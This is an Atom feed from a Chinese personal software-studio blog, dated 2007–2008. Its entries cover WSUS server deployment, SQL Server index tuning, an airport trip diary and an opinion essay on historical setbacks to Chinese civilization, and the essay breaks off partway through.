<?xml version="1.0" encoding="UTF-8"?>
  <feed xmlns="http://www.w3.org/2005/Atom">
  <title type="html"><![CDATA[Lovong 软件工作室]]></title>
  <subtitle type="html"><![CDATA[创造、创新、分享、协作…]]></subtitle>
  <id>http://www.lovong.net/</id> 
  <link rel="alternate" type="text/html" href="http://www.lovong.net/" /> 
  <link rel="self" type="application/atom+xml" href="http://www.lovong.net/atom.asp" /> 
  <generator uri="http://www.pjhome.net/" version="2.4.1022">PJBlog2</generator> 
  <updated>2008-01-02T22:25:06+08:00</updated> 

  <entry>
	  <title type="html"><![CDATA[天冷]]></title>
	  <author>
		 <name>Lovong</name>
		 <uri>http://www.lovong.net/</uri>
		 <email>post@lovong.net</email>
	  </author>
	  <category term="" scheme="http://www.lovong.net/default.asp?cateID=8" label="技术文献" /> 
	  <updated>2008-01-02T22:25:06+08:00</updated>
	  <published>2008-01-02T22:25:06+08:00</published>
		  <summary type="html"><![CDATA[天气冷了，突然想人要是能冬眠该多好啊。<br/><br/>好累！]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.lovong.net/default.asp?id=34" /> 
	  <id>http://www.lovong.net/default.asp?id=34</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[WSUS服务器的详细配置和部署]]></title>
	  <author>
		 <name>Lovong</name>
		 <uri>http://www.lovong.net/</uri>
		 <email>post@lovong.net</email>
	  </author>
	  <category term="" scheme="http://www.lovong.net/default.asp?cateID=8" label="技术文献" /> 
	  <updated>2007-12-01T10:25:41+08:00</updated>
	  <published>2007-12-01T10:25:41+08:00</published>
		  <summary type="html"><![CDATA[一、WSUS&nbsp;安装要求<br/>　　1、硬件要求：<br/>　　对于多达&nbsp;500&nbsp;个客户端的服务器，建议使用以下硬件：<br/>　　*&nbsp;1&nbsp;GHz&nbsp;的处理器<br/>　　*&nbsp;1&nbsp;GB&nbsp;的&nbsp;RAM<br/>　　2、软件要求：<br/>　　要使用默认选项安装&nbsp;WSUS，必须在计算机上安装以下软件。<br/>　　*&nbsp;Microsoft&nbsp;Internet&nbsp;信息服务&nbsp;(IIS)&nbsp;6.0。<br/>　　*&nbsp;用于&nbsp;Windows&nbsp;Server&nbsp;2003&nbsp;的&nbsp;Microsoft&nbsp;.NET&nbsp;Framework&nbsp;1.1&nbsp;Service&nbsp;Pack&nbsp;1。<br/>　　*&nbsp;Background&nbsp;Intelligent&nbsp;Transfer&nbsp;Service&nbsp;(BITS)&nbsp;2.0。<br/>　　3、磁盘要求：<br/>　　要安装&nbsp;WSUS，服务器上的文件系统必须满足以下要求：<br/>　　*&nbsp;系统分区和安装&nbsp;WSUS&nbsp;的分区都必须使用&nbsp;NTFS&nbsp;文件系统进行格式化。<br/>　　*&nbsp;系统分区至少需要&nbsp;1&nbsp;GB&nbsp;的可用空间。<br/>　　*&nbsp;WSUS&nbsp;用于存储内容的卷至少需要&nbsp;6&nbsp;GB&nbsp;的可用空间，建议预留空间为&nbsp;30&nbsp;GB。<br/>　　*&nbsp;WSUS&nbsp;安装程序用于安装&nbsp;Windows&nbsp;SQL&nbsp;Server&nbsp;2000&nbsp;Desktop&nbsp;Engine&nbsp;(WMSDE)&nbsp;的卷至少需要&nbsp;2&nbsp;GB&nbsp;的可用空间。<br/>　　4、自动更新要求：<br/>　　自动更新是&nbsp;WSUS&nbsp;的客户端组件。除了需要连接到网络外，自动更新没有其他的硬件要求。您可以针对运行以下任一操作系统的计算机上的&nbsp;WSUS&nbsp;使用自动更新：<br/>　　*&nbsp;带有&nbsp;Service&nbsp;Pack&nbsp;3&nbsp;(SP3)&nbsp;或&nbsp;Service&nbsp;Pack&nbsp;4&nbsp;(SP4)&nbsp;的&nbsp;Microsoft&nbsp;Windows&nbsp;2000&nbsp;Professional、带有&nbsp;SP3&nbsp;或&nbsp;SP4&nbsp;的&nbsp;Windows&nbsp;2000&nbsp;Server&nbsp;或带有&nbsp;SP3&nbsp;或&nbsp;SP4&nbsp;的&nbsp;Windows&nbsp;2000&nbsp;Advanced&nbsp;Server。<br/>　　*&nbsp;带有或不带&nbsp;Service&nbsp;Pack&nbsp;1&nbsp;或&nbsp;Service&nbsp;Pack&nbsp;2&nbsp;的&nbsp;Microsoft&nbsp;Windows&nbsp;XP&nbsp;Professional。<br/>　　*&nbsp;Microsoft&nbsp;Windows&nbsp;Server&nbsp;2003&nbsp;Standard&nbsp;Edition、Windows&nbsp;Server&nbsp;2003&nbsp;Enterprise&nbsp;Edition、Windows&nbsp;Server&nbsp;2003&nbsp;Datacenter&nbsp;Edition&nbsp;或&nbsp;Windows&nbsp;Server&nbsp;2003&nbsp;Web&nbsp;Edition。<br/><br/>二、在服务器上安装&nbsp;WSUS<br/>　　1.&nbsp;双击安装程序文件“WSUSSetup.exe”。参看下载WSUSSetup.exe的说明（<a href="http://groups.google.com/group/qingyang/browse_thread/thread/f4f9a3577b39874a" target="_blank">http://groups.google.com/group/qingyang/browse_thread/thread/f4f9a3577b39874a</a>）<br/>　　2.&nbsp;在向导的“欢迎使用”页上，单击“下一步”。<br/>　　3.&nbsp;仔细阅读许可协议的条款，单击“我接受许可协议中的条款”，然后单击“下一步”。<br/>　　4.&nbsp;在“选择更新源”页上，可以指定客户端获得更新的来源。如果选中“本地存储更新”复选框，更新便会存储在&nbsp;WSUS&nbsp;服务器上，您需要在文件系统中选择一个用于存储更新的位置。如果不在本地存储更新，客户端计算机将连接到&nbsp;Microsoft&nbsp;Up&#100;ate&nbsp;以获取已批准的更新。<br/>　　保留默认选项，然后单击“下一步”。<br/>　　&nbsp;<br/>　　5.&nbsp;在“数据库选项”页上，选择用于管理&nbsp;WSUS&nbsp;数据库的软件。默认情况下，如果要安装的计算机运行&nbsp;Windows&nbsp;Server&nbsp;2003，WSUS&nbsp;安装程序将提出安装&nbsp;WMSDE。如果无法使用&nbsp;WMSDE，则必须为&nbsp;WSUS&nbsp;提供可以使用的&nbsp;SQL&nbsp;Server&nbsp;实例，具体操作方法是：单击“使用该计算机上现有的数据库服务器”，然后在“选择&nbsp;SQL&nbsp;实例名”框中键入实例名。然后&nbsp;“下一步”。<br/>　　&nbsp;<br/>　　6.&nbsp;在“网站选择”页上，指定&nbsp;WSUS&nbsp;将使用的网站。此页还列出了基于此选择的两个重要&nbsp;URL：将&nbsp;WSUS&nbsp;客户端计算机指向其中以获取更新的&nbsp;URL&nbsp;以及用于配置&nbsp;WSUS&nbsp;的&nbsp;WSUS&nbsp;控制台的&nbsp;URL。保留默认选项，然后单击“下一步”。<br/>&nbsp;<br/>　　7.&nbsp;在“镜像更新设置”页上，可以指定此&nbsp;WSUS&nbsp;服务器的管理角色。如果这是网络上的第一台&nbsp;WSUS&nbsp;服务器，或者您需要一个分布式管理拓扑，请跳过此屏幕。<br/>　　如果需要集中管理拓扑，而且这不是网络上的第一台&nbsp;WSUS&nbsp;服务器，请选中该复选框，然后在“服务器名”框中键入其他&nbsp;WSUS&nbsp;服务器的名称保留默认选项，然后单击“下一步”。<br/>　　&nbsp;<br/>　　8.&nbsp;在“准备安装&nbsp;Windows&nbsp;Server&nbsp;Up&#100;ate&nbsp;Services”页上，复查各项选择，然后单击“下一步”。<br/>　　&nbsp;<br/>　　9.&nbsp;如果向导的最后一页确认&nbsp;WSUS&nbsp;安装已成功完成，请单击“完成”。<br/>　　三、配置WSUS<br/>　　由于微软的产品很多，我们不可能对它的所有产品都进行更新，所以需要根据公司的实际情况对补丁的类型进行设置。<br/>　　WSUS安装完毕后，打开浏览器，使用地址<a href="http://localhost/wsusadmin" target="_blank">http://localhost/wsusadmin</a>访问WSUS的管理界面，也可直接输入计算机名或IP地址进行访问，在这里我们输入<a href="http://192.168.0.18:80/wsusadmin" target="_blank">http://192.168.0.18:80/wsusadmin</a>进行访问。输入Windows&nbsp;2003系统的管理员账户和密码即可成功登录WSUS服务器。<br/>　　第一次成功登录WSUS的界面后，会在下方“待做事项列表”中看到“同步服务器，现在就开始”的提示信息，点击该选项开始设置WSUS。<br/>　　&nbsp;<br/>在&nbsp;“计划”下的“手动同步”或“每天定时同步”，一般情况下设置为“每天定时同步”。另外还有“产品和分类”下方的设置，我们可以在产品处选择可供更新的产品种类，除了Windows外，还有Office、Exchange、SQL等产品的补丁和更新包都可以通过WS<br/>　　US发布。在“更新分类”处可以详细设置提供下载的补丁类别。<br/>　　&nbsp;<br/>　　设置“产品和分类”与“更新分类”后，我们还要选择更新的语言种类，在同步选项设置界面的最下方有一个“高级同步选项”，通过它我们可以设置更新的语言为简体中文。<br/>　　至此，便完成了补丁类型及语言的设定工作，所有的前期工作已告一段落，接下来就需要对服务器和客户机进行具体操作了。<br/>　　下载并审批补丁<br/>　　我们如何将相应补丁从微软网站下载到服务器上供公司内部计算机更新呢?这就需要下载并审批补丁。<br/>　　在上图所示界面的左侧点击“立即同步”将启动服务器的同步功能，服务器将连接微软官方Up&#100;ate服务器下载相应补丁。补丁类型已经在设定补丁操作中进行了选择，服务器将只下载满足设定条件的补丁，下载的补丁供客户端使用。在下载过程中我们不能进行任何操作，只能点击“停止同步”来结束更新操作。<br/>　　。<br/>　　仅仅下载完更新包还不能提供补丁更新服务，我们还需要对刚刚下载的“安全和关键更新”进行复查和批准，经过批准的补丁才能让客户端下载(实际上批准过程就是服务器对下载补丁进行检查的过程)。在待做事项列表中点击“复查安全和关键更新”。<br/>在“更新”界面中可将所有补丁选中，选择完毕点击左侧“更新任务”栏中的“更改批准”，这样就会批准安装刚才下载的所有补丁。如果你不希望客户端下载某个补丁程序，则不选择该补丁，如下图：<br/>　　&nbsp;<br/>　　点击“更改批准”后会进入“批准更新”窗口，可在批准下拉选项中选择“安装”，然后点击“确定”。现在，所有客户端就可下载并安装刚刚批准下载的补丁程序了，至此服务器上的基本设置完毕。<br/>　　四、在域中的客户端的设置<br/>　　1、&nbsp;在域控制器上，命令行中运行mmc，打开控制台<br/>　　&nbsp;<br/>　　2、选择文件菜单的添加/删除管理单元(m),打开控制台1<br/>　　&nbsp;<br/>　　3、点击添加，打开添加独立管理单元对话框，并选择其中的组策略对象编辑器，然后点击添加<br/>　　&nbsp;<br/>　　4&nbsp;、&nbsp;在打开的选择组策略对象中，选择浏览<br/>　　&nbsp;<br/>　　5、在打开的选择组策略对象中，选择“Default&nbsp;Domain&nbsp;Policy,并确定。然后关闭所有打开的子窗口，回到控制台1的主界面<br/>　　&nbsp;<br/>　　6、&nbsp;依次展开至如图脚本（启动/关机）<br/>　　&nbsp;<br/>　　7、点击“配置自动更新“，在打开的”配置自动更新属性”选择“已启用“，并选择时间。<br/>　　&nbsp;<br/>　　8、并点击下一设置：<br/>　　&nbsp;<br/>　　确定，应用，并把该设置全部保存即可<br/>　　&nbsp;<br/>　　为了简化客户端的配置，附件里是为大家写的注册表信息，下载后根据自己的实际配置进行更改，更新即可。<br/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.lovong.net/default.asp?id=33" /> 
	  <id>http://www.lovong.net/default.asp?id=33</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[上海浦东机场]]></title>
	  <author>
		 <name>Lovong</name>
		 <uri>http://www.lovong.net/</uri>
		 <email>post@lovong.net</email>
	  </author>
	  <category term="" scheme="http://www.lovong.net/default.asp?cateID=9" label="心情故事" /> 
	  <updated>2007-10-31T21:20:47+08:00</updated>
	  <published>2007-10-31T21:20:47+08:00</published>
		  <summary type="html"><![CDATA[飞机是下午2点20分的，害怕错过了，早上早早的起床了，11点准时到上海南站，上海南站是个圆型的大站，大得让人惊叹，给我的感觉就是到那里都是圆的，都差不多，不是上面的指示牌，真的不知道自己在那里。在南站南广场去坐机场大巴，正好运气不太好，去的时候上一班大巴已经出发了，我们坐上车后，过了30分钟才大巴才开始出发，路上的车真多，堵了一会。到12。30的时候到达浦东机场，行程也就差不多1个小时。浦东国际机场让人惊叹，一个字“大”。由于是在淘宝上买的电子票，到东方航空公司换成机票。办好行李托运后就到了候机室。呵呵~一路上还是比较顺利的。]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.lovong.net/default.asp?id=32" /> 
	  <id>http://www.lovong.net/default.asp?id=32</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Sql 索引优化]]></title>
	  <author>
		 <name>Lovong</name>
		 <uri>http://www.lovong.net/</uri>
		 <email>post@lovong.net</email>
	  </author>
	  <category term="" scheme="http://www.lovong.net/default.asp?cateID=8" label="技术文献" /> 
	  <updated>2007-10-30T23:19:18+08:00</updated>
	  <published>2007-10-30T23:19:18+08:00</published>
		  <summary type="html"><![CDATA[在应用系统中,尤其在联机事务处理系统中,对数据查询及处理速度已成为衡&nbsp;量应用系统成败的标准。而采用索引来加快数据处理速度也成为广大数据库用户所&nbsp;接受的优化方法。&nbsp;<br/>　　在良好的数据库设计基础上，能有效地使用索引是sql&nbsp;server取得高性能的基础，sql&nbsp;server采用基于代价的优化模型，它对每一个提交的有关表的查询，决定是否使用索引或用哪一个索引。因为查询执行的大部分开销是磁盘i/o，使用索引提高性能的一个主要目标是避免全表扫描，因为全表扫描需要从磁盘上读表的每一个数据页，如果有索引指向数据值，则查询只需读几次磁盘就可以了。所以如果建立了合理的索引，优化器就能利用索引加速数据的查询过程。但是，索引并不总是提高系统的性能，在增、删、改操作中索引的存在会增加一定的工作量，因此，在适当的地方增加适当的索引并从不合理的地方删除次优的索引，将有助于优化那些性能较差的sql&nbsp;server应用。实践表明，合理的索引设计是建立在对各种查询的分析和预测上的，只有正确地使索引与程序结合起来,才能产生最佳的优化方&nbsp;案。本文就sql&nbsp;server索引的性能问题进行了一些分析和实践。&nbsp;<br/><br/>　　一、聚簇索引(clustered&nbsp;indexes)的使用&nbsp;<br/><br/>　　聚簇索引是一种对磁盘上实际数据重新组织以按指定的一个或多个列的值排序。由于聚簇索引的索引页面指针指向数据页面，所以使用聚簇索引查找数据几乎总是比使用非聚簇索引快。每张表只能建一个聚簇索引，并且建聚簇索引需要至少相当该表120%的附加空间，以存放该表的副本和索引中间页。建立聚簇索引的思想是：&nbsp;<br/><br/>　　1、&nbsp;大多数表都应该有聚簇索引或使用分区来降低对表尾页的竞争，在一个高事务的环境中，对最后一页的封锁严重影响系统的吞吐量。&nbsp;<br/><br/>　　2、&nbsp;在聚簇索引下，数据在物理上按顺序排在数据页上，重复值也排在一起，因而在那些包含范围检查(between、&lt;、&lt;=、&gt;、&gt;=)或使用group&nbsp;by或order&nbsp;by的查询时，一旦找到具有范围中第一个键值的行，具有后续索引值的行保证物理上毗连在一起而不必进一步搜索，避免了大范围扫描，可以大大提高查询速度。&nbsp;<br/><br/>　　3、&nbsp;在一个频繁发生插入操作的表上建立聚簇索引时，不要建在具有单调上升值的列(如identity)上，否则会经常引起封锁冲突。&nbsp;<br/><br/>　　4、&nbsp;在聚簇索引中不要包含经常修改的列，因为码值修改后，数据行必须移动到新的位置。&nbsp;<br/><br/>　　5、&nbsp;选择聚簇索引应基于wh&#101;re子句和连接操作的类型。聚簇索引的侯选列是：&nbsp;<br/><br/>　　●&nbsp;主键列,该列在wh&#101;re子句中使用并且插入是随机的。&nbsp;<br/><br/>　　●&nbsp;按范围存取的列，如pri_order&nbsp;&gt;&nbsp;100&nbsp;and&nbsp;pri_order&nbsp;&lt;&nbsp;200&nbsp;。&nbsp;<br/><br/>　　●&nbsp;在group&nbsp;by或order&nbsp;by中使用的列。&nbsp;<br/><br/>　　●&nbsp;不经常修改的列。&nbsp;<br/><br/>　　●&nbsp;在连接操作中使用的列。&nbsp;<br/><br/>　　二、非聚簇索引(nonclustered&nbsp;indexes)的使用&nbsp;<br/><br/>　　sql&nbsp;server缺省情况下建立的索引是非聚簇索引，由于非聚簇索引不重新组织表中的数据，而是对每一行存储索引列值并用一个指针指向数据所在的页面。换句话说非聚簇索引具有在索引结构和数据本身之间的一个额外级。一个表如果没有聚簇索引时,可有250个非聚簇索引。每个非聚簇索引提供访问数据的不同排序顺序。在建立非聚簇索引时，要权衡索引对查询速度的加快与降低修改速度之间的利弊。另外，还要考虑这些问题：&nbsp;<br/><br/>　　●&nbsp;索引需要使用多少空间。&nbsp;<br/><br/>　　●&nbsp;合适的列是否稳定。&nbsp;<br/><br/>　　●&nbsp;索引键是如何选择的，扫描效果是否更佳。&nbsp;<br/><br/>　　●&nbsp;是否有许多重复值。&nbsp;<br/><br/>　　对更新频繁的表来说，表上的非聚簇索引比聚簇索引和根本没有索引需要更多的额外开销。对移到新页的每一行而言，指向该数据的每个非聚簇索引的页级行也必须更新，有时可能还需要索引页的分理。从一个页面删除数据的进程也会有类似的开销，另外，删除进程还必须把数据移到页面上部，以保证数据的连续性。所以，建立非聚簇索引要非常慎重。非聚簇索引常被用在以下情况:&nbsp;<br/><br/>　　●&nbsp;某列常用于集合函数(如sum,....)。&nbsp;<br/><br/>　　●&nbsp;某列常用于join,order&nbsp;by,group&nbsp;by。&nbsp;<br/><br/>　　●&nbsp;查寻出的数据不超过表中数据量的20%。&nbsp;<br/><br/>　　三、覆盖索引(covering&nbsp;indexes)的使用&nbsp;<br/><br/>　　覆盖索引是指那些索引项中包含查寻所需要的全部信息的非聚簇索引，这&nbsp;种索引之所以比较快也正是因为索引页中包含了查寻所必须的数据,不需去访&nbsp;问数据页。&nbsp;如果非聚簇索引中包含结果数据,那么它的查询速度将快于聚簇索引。&nbsp;<br/><br/>　　但是由于覆盖索引的索引项比较多,要占用比较大的空间。而且up&#100;ate&nbsp;操&nbsp;作会引起索引值改变。所以如果潜在的覆盖查询并不常用或不太关键，则覆盖索引的增加反而会降低性能。&nbsp;<br/><br/>　　四、索引的选择技术&nbsp;<br/><br/>　　p_detail是住房公积金管理系统中记录个人明细的表，有890000行，观察在不同索引下的查询运行效果，测试在c/s环境下进行，客户机是ibm&nbsp;pii350(内存64m),服务器是dec&nbsp;alpha1000a(内存128m),数据库为sybase11.0.3。&nbsp;<br/><br/>　　1、&nbsp;sel&#101;ct&nbsp;count(*)&nbsp;from&nbsp;p_detail&nbsp;wh&#101;re&nbsp;op_date&gt;’19990101’&nbsp;and&nbsp;op_date&lt;’19991231’&nbsp;and&nbsp;pri_surplus1&gt;300&nbsp;<br/><br/>　　2、&nbsp;sel&#101;ct&nbsp;count(*),sum(pri_surplus1)&nbsp;from&nbsp;p_detail&nbsp;wh&#101;re&nbsp;op_date&gt;’19990101’&nbsp;and&nbsp;pay_month&nbsp;between&nbsp;‘199908’&nbsp;and&nbsp;’199912’&nbsp;<br/><br/>　　不建任何索引&nbsp;查询1&nbsp;1分15秒&nbsp;<br/><br/>　　查询2&nbsp;1分7秒&nbsp;<br/><br/>　　在op_date上建非聚簇索引&nbsp;查询1&nbsp;57秒&nbsp;<br/><br/>　　查询2&nbsp;57秒&nbsp;<br/><br/>　　在op_date上建聚簇索引&nbsp;查询1&nbsp;&lt;1秒&nbsp;<br/><br/>　　查询2&nbsp;52秒&nbsp;<br/><br/>　　在pay_month、op_date、pri_surplus1上建索引&nbsp;查询1&nbsp;34秒&nbsp;<br/><br/>　　查询2&nbsp;&lt;1秒&nbsp;<br/><br/>　　在op_date、pay_month、pri_surplus1上建索引&nbsp;查询1&nbsp;&lt;1秒&nbsp;<br/><br/>　　查询2&nbsp;&lt;1秒&nbsp;<br/><br/>　　从以上查询效果分析，索引的有无，建立方式的不同将会导致不同的查询效果，选择什么样的索引基于用户对数据的查询条件,这些条件体现于wh&#101;re从句和join表达式中。一般来说建立索引的思路是：&nbsp;<br/><br/>　　(1)、主键时常作为wh&#101;re子句的条件，应在表的主键列上建立聚簇索引，尤其当经常用它作为连接的时候。&nbsp;<br/><br/>　　(2)、有大量重复值且经常有范围查询和排序、分组发生的列，或者非常频繁地被访问的列，可考虑建立聚簇索引。&nbsp;<br/><br/>　　(3)、经常同时存取多列，且每列都含有重复值可考虑建立复合索引来覆盖一个或一组查询，并把查询引用最频繁的列作为前导列，如果可能尽量使关键查询形成覆盖查询。&nbsp;<br/><br/>　　(4)、如果知道索引键的所有值都是唯一的，那么确保把索引定义成唯一索引。&nbsp;<br/><br/>　　(5)、在一个经常做插入操作的表上建索引时，使用fillfactor(填充因子)来减少页分裂，同时提高并发度降低死锁的发生。如果在只读表上建索引，则可以把fillfactor置为100。&nbsp;<br/><br/>　　(6)、在选择索引键时，设法选择那些采用小数据类型的列作为键以使每个索&nbsp;<br/><br/>　　引页能够容纳尽可能多的索引键和指针，通过这种方式，可使一个查询必须遍历的索引页面降到最小。此外，尽可能地使用整数为键值，因为它能够提供比任何数据类型都快的访问速度。&nbsp;<br/><br/>　　五、索引的维护&nbsp;<br/><br/>　　上面讲到,某些不合适的索引影响到sql&nbsp;server的性能,随着应用系统的运行,数据不断地发生变化,当数据变化达到某一个程度时将&nbsp;会影响到索引的使用。这时&nbsp;需要用户自己来维护索引。索引的维护包括：&nbsp;<br/><br/>　　1、重建索引&nbsp;<br/><br/>　　随着数据行的插入、删除和数据页的分裂，有些索引页可能只包含几页数据，另外应用在执行大块i/o的时候，重建非聚簇索引可以降低分片，维护大块i/o的效率。重建索引实际上是重新组织b-树空间。在下面情况下需要重建索引：&nbsp;<br/><br/>　　(1)、数据和使用模式大幅度变化。&nbsp;<br/><br/>　　(2)、排序的顺序发生改变。&nbsp;<br/><br/>　　(3)、要进行大量插入操作或已经完成。&nbsp;<br/><br/>　　(4)、使用大块i/o的查询的磁盘读次数比预料的要多。&nbsp;<br/><br/>　　(5)、由于大量数据修改，使得数据页和索引页没有充分使用而导致空间的使用超出估算。&nbsp;<br/><br/>　　(6)、dbcc检查出索引有问题。&nbsp;<br/><br/>　　当重建聚簇索引时,这张表的所有非聚簇索引将被重&nbsp;<br/><br/>　　建.&nbsp;<br/><br/>　　2、索引统计信息的更新&nbsp;<br/><br/>　　当在一个包含数据的表上创建索引的时候，sql&nbsp;server会创建分布数据页来存放有关索引的两种统计信息：分布表和密度表。优化器利用这个页来判断该索引对某个特定查询是否有用。但这个统计信息并不动态地重新计算。这意味着，当表的数据改变之后，统计信息有可能是过时的，从而影响优化器追求最有工作的目标。因此，在下面情况下应该运行up&#100;ate&nbsp;statistics命令：&nbsp;<br/><br/>　　(1)、数据行的插入和删除修改了数据的分布。&nbsp;<br/><br/>　　(2)、对用truncate&nbsp;table删除数据的表上增加数据行。&nbsp;<br/><br/>　　(3)、修改索引列的值。&nbsp;<br/><br/>　　六、结束语&nbsp;<br/><br/>　　实践表明，不恰当的索引不但于事无补，反而会降低系统的执行性能。因为大量的索引在插入、修改和删除操作时比没有索引花费更多的系统时间。例如下面情况下建立的索引是不恰当的：&nbsp;<br/><br/>　　●&nbsp;在查询中很少或从不引用的列不会受益于索引，因为索引很少或从来不必搜索基于这些列的行。&nbsp;<br/><br/>　　●&nbsp;只有两个或三个值的列，如男性和女性(是或否)，从不会从索引中得到好处。&nbsp;<br/><br/>　　另外，鉴于索引加快了查询速度，但减慢了数据更新速度的特点。可通过在一个段上建表，而在另一个段上建其非聚簇索引，而这两段分别在单独的物理设备上来改善操作性能。&nbsp;<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.lovong.net/default.asp?id=31" /> 
	  <id>http://www.lovong.net/default.asp?id=31</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[中国遭遇过的七次重大打击]]></title>
	  <author>
		 <name>Lovong</name>
		 <uri>http://www.lovong.net/</uri>
		 <email>post@lovong.net</email>
	  </author>
	  <category term="" scheme="http://www.lovong.net/default.asp?cateID=9" label="心情故事" /> 
	  <updated>2007-10-20T10:56:10+08:00</updated>
	  <published>2007-10-20T10:56:10+08:00</published>
		  <summary type="html"><![CDATA[<br/>当公元前212年，阿基米德被攻入叙拉古城的罗马士兵杀死的时候，那个士兵并不知道自己亲手扼杀了灿烂的古希腊文明。从此欧洲由于宗教迷信进入了愚昧黑暗的中世纪，知道一千多年后，科学文明才因为哥白尼，伽利略等人重新回到欧洲大陆，如果这个偶然因素被排除，那么以古希腊的文明水准，稳定地发展，在之后几前年里，欧洲也完全可能成为封建时代的文明中心，而不是只有中国在几千年里孤独地站立在世界文明的山巅。&nbsp;<br/>　　无独有偶，中国古代文明也遭遇过七次类似的重大打击，如果不是这几次巨大的打击，中国古代灿烂的文明甚至完全有可能以自己的加速度，在欧洲的教士们还在几千年前和古埃及法老一样的方式在纸草和羊皮上记录时，就突破到近代文明来。&nbsp;<br/><br/>　　历史是没有如果的，不过我们还是可以来看一看，这八个事件究竟是如何阻挡了华夏文明发展的车轮，甚至于将文明的发展倒车回去的。说只有七次，是因为这几次都影响重大，意义深远，而类似陈胜吴广起义这样的事虽然是重大事件，但是对于中国整体的文明来说，只是农民起义罢了，特别是对于科学文明来说，并起不到什么决定性的作用，因此不会进行讨论。&nbsp;<br/><br/>　　第一件&nbsp;秦始皇的焚书事件&nbsp;<br/><br/>　　秦始皇一扫六合，统一了中国，又作了废分封，车同轨，书同文，统一度量衡等有利于文明发展的措施，《史记·秦始皇本纪》：“一法度衡石丈尺，车同轨，书同文字。”可是不久就发生了使文明倒退的“焚书”事件。历史上说秦始皇焚书总是和坑儒一起说的。不过从现代眼光看，从文明发展的角度看，坑儒事件只是封建社会中君王残酷镇压政敌所常见的手法，而且被害的儒生，方士据说只有四百六十人，比起后来几个朝代的文字狱来说还差的远。但“焚书”事件对中国古代文明的发展起到了巨大的反作用。&nbsp;<br/><br/>　　据说在公元213年，当时有个儒家的学者在宴会上批评秦始皇设郡县的做法，一些儒生也不断议论对秦始皇的政策不满。丞相李斯是恐怕这些反对他的人危害国家统治或者是自己的地位，提出了焚书的建议：&nbsp;<br/><br/>　　史书除《秦纪》以外，六国史书一律烧掉；《诗》、《书》、百家语除博士官收藏的以外，其他人藏书都集中到郡，由郡守、尉监督烧掉；医药、卜筮、种树等书不在禁列；&nbsp;<br/><br/>　　于是在全国各地都燃起了烧书简的熊熊大火，过去东周时期几百年逐步累积起来的诸子百家学说成果就这样毁于一旦，很多就此失传。&nbsp;<br/><br/>　　这里需要指出的是不仅仅是这些学术成就的损失。战国时期百家争鸣的局面，非常有利于各类学说的发展，是我国古代学术发展的黄金时代，也正是在中国自行发展出现西方近代科学的前提，如果不是这次焚书事件，百家争鸣能够继续，很有可能在不久的时代里，在中国就能有人喊出：“知识就是力量”这样的豪言，使中国出现培根这样的哲学家，并出现现代实验科学。&nbsp;<br/><br/>　　可惜的是从此几千年，直到现在也再也没有如此良好的学术研究氛围了。因此此后的中国学术研究都只是在先贤的基础上发展巩固，很少出现什么新的学术思想。&nbsp;<br/><br/>　　因此中国的科学和文明走上了一条独特的有中国特色的道路。&nbsp;<br/><br/>　　第二件事：独尊儒术&nbsp;<br/><br/>　　由于秦朝的迅速崩坏，取代的汉朝吸取了秦的教训，要寻找一条不同于秦的道路。&nbsp;<br/><br/>　　汉武帝的时候，为了摆脱上前一代大臣以及太后的影响，寻找能集道德，政法，思想三位一体的治国之道，需要寻求一种哲学体系来支撑。&nbsp;<br/><br/>　　汉武帝因此到处举贤纳士来寻求治国之道，《汉书&nbsp;武帝纪第六》记载道：丞相绾奏：“所举贤良，或治申、商、韩非、苏秦、张仪之言，乱国政，请皆罢。”奏可。”&nbsp;这个丞相绾叫做卫绾，是汉武帝的老师，说使用韩非，商鞅的学说的人只能乱国，不能使用，因此汉武帝也不再使用法家的理论，事实上汉朝初期推广的是萧规曹随的黄老之学。而法家理论对于治理国家来说是不可避免的，后来中国的朝代也还是不断有人推崇以法治国。&nbsp;<br/><br/>　　可是紧接着发生的事情，使以法治国这样的概念，再也没有成为中国人思想中的主题，现在社会上，我们抱怨法律不健全，不断有人以权盖法，官本位等思想，就是从这件事种下的根。&nbsp;<br/><br/>　　《汉书·董仲舒传》中的这段文字：“及仲舒对策，推明孔氏，抑黜百家，立学校之官，州郡举茂材孝廉，皆自仲舒发之。”就是说只发扬孔子的学说，废除其他的学说。董仲舒这个名字应该是被永远记住的名字，就是这个人以自己的智慧彻底谋杀了所有其他伟大的学说，使现代人评论中国人的哲学思想时，首先想到是是儒家思想，甚至只有儒家思想。这样后世的知识分子只能学习儒家学说，先秦的百家争鸣的学术自由自然是妄想，甚至于连学习其他学术思想的机会都没有了，因为只剩下儒学才是学习，并为国家录取的正路。&nbsp;<br/><br/>　　这一点和欧洲中世纪只有学习神学才是唯一获得知识的正式途径没有什么区别。虽然汉武帝采用这个措施对汉朝的统治是有利的，但是对于中国的文明发展来说，在以后付出了惨痛的代价。特别是封建后期，儒家思想成为制约文明发展的因素后，董仲舒独尊儒术所造成的儒学在中国也造成了特别厚重的枷锁，使的中国在向近代科学迈进时步履艰难。&nbsp;<br/><br/>　　于是中国后面几千年的文明许多学者都概括为儒家文明，这听上去便不觉的是很丰富的感觉。&nbsp;<br/><br/>　　但是由于中国文明这时候还是处于封建社会的上升期，之后还是创造出盛唐这样的文明高潮。&nbsp;<br/><br/>　　第三件事&nbsp;金元入侵&nbsp;<br/><br/>　　随着历史车轮到达宋代，中国特色的封建文明达到了最高峰，宋朝的赋税收入在中国古代历史中也是最高，人民生活水平也相当高，导致司马光慨叹：走卒类士服，农夫蹑丝履。有西方学者说当时一位欧洲君主的生活水平还比不上东京汴梁一个看城门的士兵。宋代的科学文化也达到了高潮，理学家程頤的“格物致知”已经体现出科学研究的思想，沈括等科学家的成就达到了当时世界最领先的水准。而当时甚至已经出现了工厂生产等资本主义萌芽，就在这样一个发展的最好时机，由于北方游牧民族的入侵，使这个时机被错过，否则中国可能是最先实现工业革命的国家，而这个时机的错过，导致中国再也没有在封建社会时期遇到这样好的发展时机。&nbsp;<br/><br/>　　北方金元的连续入侵，导致中国北方的生产水平完全倒退。&nbsp;<br/><br/>　　